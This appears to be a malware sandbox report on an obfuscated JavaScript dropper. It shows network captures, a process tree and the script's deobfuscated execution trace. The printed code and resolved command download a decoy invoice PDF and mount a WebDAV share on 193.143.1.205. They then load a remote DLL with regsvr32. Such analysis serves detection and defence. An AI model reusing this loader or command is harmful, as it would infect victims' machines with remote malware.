Jan 10, 2025 14:48:10.470623016 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 14:48:10.470635891 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 14:48:10.470647097 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 14:48:10.470659971 CET	1116	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 14:48:10.471230030 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 14:48:10.471244097 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 14:48:10.471256971 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 14:48:10.528917074 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8068	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:48:12.353133917 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:48:13.164304972 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:48:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:48:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\382215884163542302.js"
Imagebase:	0x7ff621d20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:48:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Imagebase:	0x7ff71a450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:48:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:48:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:48:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff71a450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:48:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ccd30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:48:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:48:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:48:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,18371386719857637492,4132492264295828402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cbcqjuc() {	cbcqjuc() ➔ undefined
1	fwaypzv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jopudzpfu = this[ujjkjmr + ptynxe + sqnfer + ohgcav + iyzqmpdjl + zmtjgrlg + jbqkr + regydcbcg] ( this[vcjtdance + oosqdgwkt + dkyfyzsk + sqnfer + oonokfdn + ujjkjmr + regydcbcg][fbhcpzt + sqnfer + iyzqmpdjl + ptynxe + regydcbcg + iyzqmpdjl + xrnhypy + sqchjodzn + xslgx + iyzqmpdjl + dkyfyzsk + regydcbcg] ( vcjtdance + oosqdgwkt + dkyfyzsk + sqnfer + oonokfdn + ujjkjmr + regydcbcg + kkpalyji + oosqdgwkt + tmolx + iyzqmpdjl + klhbbjmmr + klhbbjmmr ) [fpzdsakil + iyzqmpdjl + mwlhe + fpzdsakil + iyzqmpdjl + ptynxe + jhgfnfwdd] ( uzzuwvuuf + plcfg + mohfnrkp + myshgaz + vsbsckjut + fbhcpzt + uusuwwomi + fpzdsakil + fpzdsakil + mohfnrkp + lysizl + zjmtembh + vsbsckjut + uusuwwomi + oosqdgwkt + mohfnrkp + fpzdsakil + cderqej + fbhcpzt + pgsojgt + jbqkr + regydcbcg + sqnfer + pgsojgt + klhbbjmmr + hzwfg + dsrqn + ptynxe + jbqkr + iyzqmpdjl + klhbbjmmr + cderqej + zmtjgrlg + jbqkr + regydcbcg + iyzqmpdjl + sqnfer + jbqkr + ptynxe + regydcbcg + oonokfdn + pgsojgt + jbqkr + ptynxe + klhbbjmmr + cderqej + iaeeaogb + pgsojgt + dkyfyzsk + ptynxe + klhbbjmmr + iyzqmpdjl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ynqkxnjue = 0 ; ynqkxnjue < fwaypzv[klhbbjmmr + iyzqmpdjl + jbqkr + mwlhe + regydcbcg + tmolx] ; ++ ynqkxnjue )
4	{
5	if ( jopudzpfu == fwaypzv[ynqkxnjue] )
6	{
7	jopudzpfu = true;
8	break ;
9	}
10	}
11	if ( jopudzpfu !== true )
12	this[vcjtdance + oosqdgwkt + dkyfyzsk + sqnfer + oonokfdn + ujjkjmr + regydcbcg][xxxaoep + zhiccuqn + oonokfdn + regydcbcg] ( );
13	this[vcjtdance + oosqdgwkt + dkyfyzsk + sqnfer + oonokfdn + ujjkjmr + regydcbcg][fbhcpzt + sqnfer + iyzqmpdjl + ptynxe + regydcbcg + iyzqmpdjl + xrnhypy + sqchjodzn + xslgx + iyzqmpdjl + dkyfyzsk + regydcbcg] ( vcjtdance + oosqdgwkt + dkyfyzsk + sqnfer + oonokfdn + ujjkjmr + regydcbcg + kkpalyji + oosqdgwkt + tmolx + iyzqmpdjl + klhbbjmmr + klhbbjmmr ) [sqnfer + zhiccuqn + jbqkr] ( dkyfyzsk + rluqb + jhgfnfwdd + hzwfg + cbpgsjg + dkyfyzsk + hzwfg + ujjkjmr + pgsojgt + urythb + iyzqmpdjl + sqnfer + ohgcav + tmolx + iyzqmpdjl + klhbbjmmr + klhbbjmmr + kkpalyji + iyzqmpdjl + vvpov + iyzqmpdjl + hzwfg + oktyfwuk + fbhcpzt + pgsojgt + rluqb + rluqb + ptynxe + jbqkr + jhgfnfwdd + hzwfg + uyeihuxz + zmtjgrlg + jbqkr + dxjnlgx + pgsojgt + yglojrl + iyzqmpdjl + oktyfwuk + vcjtdance + iyzqmpdjl + sqchjodzn + fpzdsakil + iyzqmpdjl + slyrku + zhiccuqn + iyzqmpdjl + ohgcav + regydcbcg + hzwfg + oktyfwuk + xrnhypy + zhiccuqn + regydcbcg + zxoddklg + oonokfdn + klhbbjmmr + iyzqmpdjl + hzwfg + ownvbqkn + regydcbcg + iyzqmpdjl + rluqb + ujjkjmr + ownvbqkn + cderqej + oonokfdn + jbqkr + dxjnlgx + pgsojgt + oonokfdn + dkyfyzsk + iyzqmpdjl + kkpalyji + ujjkjmr + jhgfnfwdd + iciepvm + hzwfg + tmolx + regydcbcg + regydcbcg + ujjkjmr + jczyrx + cbpgsjg + cbpgsjg + vssijx + hnclq + kgqtmi + kkpalyji + vssijx + qlgsqo + kgqtmi + kkpalyji + vssijx + kkpalyji + ktaqk + dbszsrzbf + buiew + cbpgsjg + oonokfdn + jbqkr + dxjnlgx + pgsojgt + oonokfdn + dkyfyzsk + iyzqmpdjl + kkpalyji + ujjkjmr + tmolx + ujjkjmr + uyeihuxz + lmjhwa + lmjhwa + ohgcav + regydcbcg + ptynxe + sqnfer + regydcbcg + hzwfg + ownvbqkn + regydcbcg + iyzqmpdjl + rluqb + ujjkjmr + ownvbqkn + cderqej + oonokfdn + jbqkr + dxjnlgx + pgsojgt + oonokfdn + dkyfyzsk + iyzqmpdjl + kkpalyji + ujjkjmr + jhgfnfwdd + iciepvm + lmjhwa + lmjhwa + dkyfyzsk + rluqb + jhgfnfwdd + hzwfg + cbpgsjg + dkyfyzsk + hzwfg + jbqkr + iyzqmpdjl + regydcbcg + hzwfg + zhiccuqn + ohgcav + iyzqmpdjl + hzwfg + cderqej + cderqej + vssijx + hnclq + kgqtmi + kkpalyji + vssijx + qlgsqo + kgqtmi + kkpalyji + vssijx + kkpalyji + ktaqk + dbszsrzbf + buiew + eelplm + rdbpsr + rdbpsr + rdbpsr + rdbpsr + cderqej + jhgfnfwdd + ptynxe + dxjnlgx + urythb + urythb + urythb + sqnfer + pgsojgt + pgsojgt + regydcbcg + cderqej + lmjhwa + lmjhwa + dkyfyzsk + rluqb + jhgfnfwdd + hzwfg + cbpgsjg + dkyfyzsk + hzwfg + sqnfer + iyzqmpdjl + mwlhe + ohgcav + dxjnlgx + sqnfer + kgqtmi + ktaqk + hzwfg + cbpgsjg + ohgcav + hzwfg + cderqej + cderqej + vssijx + hnclq + kgqtmi + kkpalyji + vssijx + qlgsqo + kgqtmi + kkpalyji + vssijx + kkpalyji + ktaqk + dbszsrzbf + buiew + eelplm + rdbpsr + rdbpsr + rdbpsr + rdbpsr + cderqej + jhgfnfwdd + ptynxe + dxjnlgx + urythb + urythb + urythb + sqnfer + pgsojgt + pgsojgt + regydcbcg + cderqej + ktaqk + vssijx + bjdjshu + rdbpsr + vssijx + mkdlqmhzl + vssijx + ktaqk + vssijx + ktaqk + bjdjshu + rdbpsr + rdbpsr + qlgsqo + kkpalyji + jhgfnfwdd + klhbbjmmr + klhbbjmmr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll",0,false) ➔ 0
14	}
15	tmolx = "v";
16	tmolx = "a";
17	tmolx = "W";
18	tmolx = "o";
19	tmolx = "n";
20	tmolx = "t";
21	tmolx = "d";
22	tmolx = "j";
23	tmolx = "s";
24	tmolx = "j";
25	tmolx = "d";
26	tmolx = "x";
27	tmolx = "u";
28	tmolx = "e";
29	tmolx = "Z";
30	tmolx = "t";
31	tmolx = "I";
32	tmolx = "m";
33	tmolx = "e";
34	tmolx = "K";
35	tmolx = "N";
36	tmolx = "X";
37	tmolx = "Q";
38	tmolx = "o";
39	tmolx = "E";
40	tmolx = "Z";
41	tmolx = "j";
42	tmolx = "b";
43	tmolx = "v";
44	tmolx = "A";
45	tmolx = "L";
46	tmolx = "u";
47	tmolx = "O";
48	tmolx = "T";
49	tmolx = "v";
50	tmolx = "v";
51	tmolx = "S";
52	tmolx = "j";
53	tmolx = "k";
54	tmolx = "S";
55	tmolx = "k";
56	tmolx = "Y";
57	tmolx = "h";
58	zmtjgrlg = "n";
59	zmtjgrlg = "D";
60	zmtjgrlg = "c";
61	zmtjgrlg = "I";
62	zmtjgrlg = "w";
63	zmtjgrlg = "a";
64	zmtjgrlg = "f";
65	zmtjgrlg = "I";
66	uzzuwvuuf = "j";
67	uzzuwvuuf = "v";
68	uzzuwvuuf = "T";
69	uzzuwvuuf = "k";
70	uzzuwvuuf = "y";
71	uzzuwvuuf = "t";
72	uzzuwvuuf = "L";
73	uzzuwvuuf = "E";
74	uzzuwvuuf = "a";
75	uzzuwvuuf = "S";
76	uzzuwvuuf = "D";
77	uzzuwvuuf = "C";
78	uzzuwvuuf = "V";
79	uzzuwvuuf = "f";
80	uzzuwvuuf = "z";
81	uzzuwvuuf = "v";
82	uzzuwvuuf = "O";
83	uzzuwvuuf = "J";
84	uzzuwvuuf = "a";
85	uzzuwvuuf = "M";
86	uzzuwvuuf = "o";
87	uzzuwvuuf = "D";
88	uzzuwvuuf = "X";
89	uzzuwvuuf = "c";
90	uzzuwvuuf = "H";
91	cderqej = "y";
92	cderqej = "v";
93	cderqej = "V";
94	cderqej = "U";
95	cderqej = "A";
96	cderqej = "p";
97	cderqej = "T";
98	cderqej = "M";
99	cderqej = "O";
100	cderqej = "o";
101	cderqej = "b";
102	cderqej = "W";
103	cderqej = "t";
104	cderqej = "p";
105	cderqej = "\\";
106	uusuwwomi = "m";
107	uusuwwomi = "J";
108	uusuwwomi = "u";
109	uusuwwomi = "J";
110	uusuwwomi = "a";
111	uusuwwomi = "u";
112	uusuwwomi = "a";
113	uusuwwomi = "d";
114	uusuwwomi = "z";
115	uusuwwomi = "i";
116	uusuwwomi = "K";
117	uusuwwomi = "r";
118	uusuwwomi = "A";
119	uusuwwomi = "g";
120	uusuwwomi = "L";
121	uusuwwomi = "Z";
122	uusuwwomi = "f";
123	uusuwwomi = "m";
124	uusuwwomi = "T";
125	uusuwwomi = "U";
126	uusuwwomi = "E";
127	uusuwwomi = "d";
128	uusuwwomi = "O";
129	uusuwwomi = "O";
130	uusuwwomi = "h";
131	uusuwwomi = "U";
132	jbqkr = "C";
133	jbqkr = "J";
134	jbqkr = "F";
135	jbqkr = "i";
136	jbqkr = "f";
137	jbqkr = "Z";
138	jbqkr = "U";
139	jbqkr = "y";
140	jbqkr = "o";
141	jbqkr = "P";
142	jbqkr = "S";
143	jbqkr = "A";
144	jbqkr = "q";
145	jbqkr = "i";
146	jbqkr = "y";
147	jbqkr = "w";
148	jbqkr = "c";
149	jbqkr = "R";
150	jbqkr = "X";
151	jbqkr = "B";
152	jbqkr = "V";
153	jbqkr = "S";
154	jbqkr = "F";
155	jbqkr = "H";
156	jbqkr = "z";
157	jbqkr = "B";
158	jbqkr = "l";
159	jbqkr = "f";
160	jbqkr = "k";
161	jbqkr = "p";
162	jbqkr = "z";
163	jbqkr = "p";
164	jbqkr = "U";
165	jbqkr = "V";
166	jbqkr = "U";
167	jbqkr = "G";
168	jbqkr = "c";
169	jbqkr = "m";
170	jbqkr = "b";
171	jbqkr = "V";
172	jbqkr = "v";
173	jbqkr = "t";
174	jbqkr = "U";
175	jbqkr = "n";
176	vsbsckjut = "y";
177	vsbsckjut = "O";
178	vsbsckjut = "F";
179	vsbsckjut = "D";
180	vsbsckjut = "p";
181	vsbsckjut = "U";
182	vsbsckjut = "_";
183	rluqb = "D";
184	rluqb = "T";
185	rluqb = "E";
186	rluqb = "z";
187	rluqb = "q";
188	rluqb = "f";
189	rluqb = "R";
190	rluqb = "d";
191	rluqb = "w";
192	rluqb = "Z";
193	rluqb = "h";
194	rluqb = "f";
195	rluqb = "x";
196	rluqb = "z";
197	rluqb = "V";
198	rluqb = "m";
199	rluqb = "T";
200	rluqb = "b";
201	rluqb = "K";
202	rluqb = "i";
203	rluqb = "S";
204	rluqb = "m";
205	hnclq = "s";
206	hnclq = "w";
207	hnclq = "X";
208	hnclq = "K";
209	hnclq = "p";
210	hnclq = "I";
211	hnclq = "q";
212	hnclq = "u";
213	hnclq = "d";
214	hnclq = "O";
215	hnclq = "s";
216	hnclq = "u";
217	hnclq = "M";
218	hnclq = "f";
219	hnclq = "e";
220	hnclq = "9";
221	zjmtembh = "Z";
222	zjmtembh = "n";
223	zjmtembh = "T";
224	zjmtembh = "e";
225	zjmtembh = "s";
226	zjmtembh = "i";
227	zjmtembh = "G";
228	zjmtembh = "s";
229	zjmtembh = "I";
230	zjmtembh = "n";
231	zjmtembh = "g";
232	zjmtembh = "s";
233	zjmtembh = "z";
234	zjmtembh = "a";
235	zjmtembh = "G";
236	zjmtembh = "d";
237	zjmtembh = "u";
238	zjmtembh = "x";
239	zjmtembh = "T";
240	qlgsqo = "K";
241	qlgsqo = "p";
242	qlgsqo = "C";
243	qlgsqo = "o";
244	qlgsqo = "q";
245	qlgsqo = "F";
246	qlgsqo = "w";
247	qlgsqo = "b";
248	qlgsqo = "M";
249	qlgsqo = "G";
250	qlgsqo = "D";
251	qlgsqo = "z";
252	qlgsqo = "x";
253	qlgsqo = "W";
254	qlgsqo = "M";
255	qlgsqo = "e";
256	qlgsqo = "G";
257	qlgsqo = "e";
258	qlgsqo = "g";
259	qlgsqo = "f";
260	qlgsqo = "e";
261	qlgsqo = "f";
262	qlgsqo = "L";
263	qlgsqo = "R";
264	qlgsqo = "w";
265	qlgsqo = "c";
266	qlgsqo = "O";
267	qlgsqo = "h";
268	qlgsqo = "l";
269	qlgsqo = "H";
270	qlgsqo = "a";
271	qlgsqo = "J";
272	qlgsqo = "T";
273	qlgsqo = "4";
274	iyzqmpdjl = "t";
275	iyzqmpdjl = "T";
276	iyzqmpdjl = "i";
277	iyzqmpdjl = "m";
278	iyzqmpdjl = "J";
279	iyzqmpdjl = "p";
280	iyzqmpdjl = "h";
281	iyzqmpdjl = "V";
282	iyzqmpdjl = "M";
283	iyzqmpdjl = "S";
284	iyzqmpdjl = "e";
285	iyzqmpdjl = "B";
286	iyzqmpdjl = "q";
287	iyzqmpdjl = "A";
288	iyzqmpdjl = "f";
289	iyzqmpdjl = "O";
290	iyzqmpdjl = "B";
291	iyzqmpdjl = "M";
292	iyzqmpdjl = "m";
293	iyzqmpdjl = "X";
294	iyzqmpdjl = "e";
295	slyrku = "u";
296	slyrku = "U";
297	slyrku = "J";
298	slyrku = "L";
299	slyrku = "n";
300	slyrku = "W";
301	slyrku = "s";
302	slyrku = "M";
303	slyrku = "q";
304	sqnfer = "q";
305	sqnfer = "N";
306	sqnfer = "c";
307	sqnfer = "H";
308	sqnfer = "f";
309	sqnfer = "k";
310	sqnfer = "z";
311	sqnfer = "I";
312	sqnfer = "N";
313	sqnfer = "x";
314	sqnfer = "F";
315	sqnfer = "u";
316	sqnfer = "g";
317	sqnfer = "g";
318	sqnfer = "g";
319	sqnfer = "H";
320	sqnfer = "E";
321	sqnfer = "u";
322	sqnfer = "n";
323	sqnfer = "J";
324	sqnfer = "u";
325	sqnfer = "P";
326	sqnfer = "z";
327	sqnfer = "r";
328	sqnfer = "Y";
329	sqnfer = "K";
330	sqnfer = "m";
331	sqnfer = "w";
332	sqnfer = "e";
333	sqnfer = "W";
334	sqnfer = "r";
335	lysizl = "L";
336	lysizl = "v";
337	lysizl = "I";
338	lysizl = "d";
339	lysizl = "c";
340	lysizl = "i";
341	lysizl = "s";
342	lysizl = "m";
343	lysizl = "v";
344	lysizl = "R";
345	lysizl = "l";
346	lysizl = "W";
347	lysizl = "L";
348	lysizl = "d";
349	lysizl = "l";
350	lysizl = "s";
351	lysizl = "r";
352	lysizl = "w";
353	lysizl = "y";
354	lysizl = "S";
355	lysizl = "B";
356	lysizl = "f";
357	lysizl = "X";
358	lysizl = "g";
359	lysizl = "N";
360	ktaqk = "E";
361	ktaqk = "z";
362	ktaqk = "U";
363	ktaqk = "J";
364	ktaqk = "e";
365	ktaqk = "r";
366	ktaqk = "a";
367	ktaqk = "y";
368	ktaqk = "O";
369	ktaqk = "R";
370	ktaqk = "s";
371	ktaqk = "u";
372	ktaqk = "o";
373	ktaqk = "m";
374	ktaqk = "A";
375	ktaqk = "i";
376	ktaqk = "v";
377	ktaqk = "I";
378	ktaqk = "n";
379	ktaqk = "c";
380	ktaqk = "k";
381	ktaqk = "w";
382	ktaqk = "r";
383	ktaqk = "x";
384	ktaqk = "X";
385	ktaqk = "Y";
386	ktaqk = "T";
387	ktaqk = "C";
388	ktaqk = "O";
389	ktaqk = "X";
390	ktaqk = "F";
391	ktaqk = "j";
392	ktaqk = "w";
393	ktaqk = "Y";
394	ktaqk = "F";
395	ktaqk = "a";
396	ktaqk = "p";
397	ktaqk = "E";
398	ktaqk = "2";
399	dkyfyzsk = "v";
400	dkyfyzsk = "M";
401	dkyfyzsk = "T";
402	dkyfyzsk = "o";
403	dkyfyzsk = "i";
404	dkyfyzsk = "G";
405	dkyfyzsk = "e";
406	dkyfyzsk = "O";
407	dkyfyzsk = "c";
408	kgqtmi = "R";
409	kgqtmi = "d";
410	kgqtmi = "h";
411	kgqtmi = "g";
412	kgqtmi = "P";
413	kgqtmi = "o";
414	kgqtmi = "f";
415	kgqtmi = "v";
416	kgqtmi = "G";
417	kgqtmi = "S";
418	kgqtmi = "B";
419	kgqtmi = "g";
420	kgqtmi = "3";
421	dbszsrzbf = "R";
422	dbszsrzbf = "k";
423	dbszsrzbf = "K";
424	dbszsrzbf = "o";
425	dbszsrzbf = "a";
426	dbszsrzbf = "Y";
427	dbszsrzbf = "m";
428	dbszsrzbf = "g";
429	dbszsrzbf = "H";
430	dbszsrzbf = "A";
431	dbszsrzbf = "Q";
432	dbszsrzbf = "h";
433	dbszsrzbf = "v";
434	dbszsrzbf = "j";
435	dbszsrzbf = "W";
436	dbszsrzbf = "d";
437	dbszsrzbf = "p";
438	dbszsrzbf = "l";
439	dbszsrzbf = "f";
440	dbszsrzbf = "d";
441	dbszsrzbf = "H";
442	dbszsrzbf = "0";
443	yglojrl = "v";
444	yglojrl = "T";
445	yglojrl = "k";
446	iaeeaogb = "w";
447	iaeeaogb = "f";
448	iaeeaogb = "u";
449	iaeeaogb = "l";
450	iaeeaogb = "B";
451	iaeeaogb = "i";
452	iaeeaogb = "X";
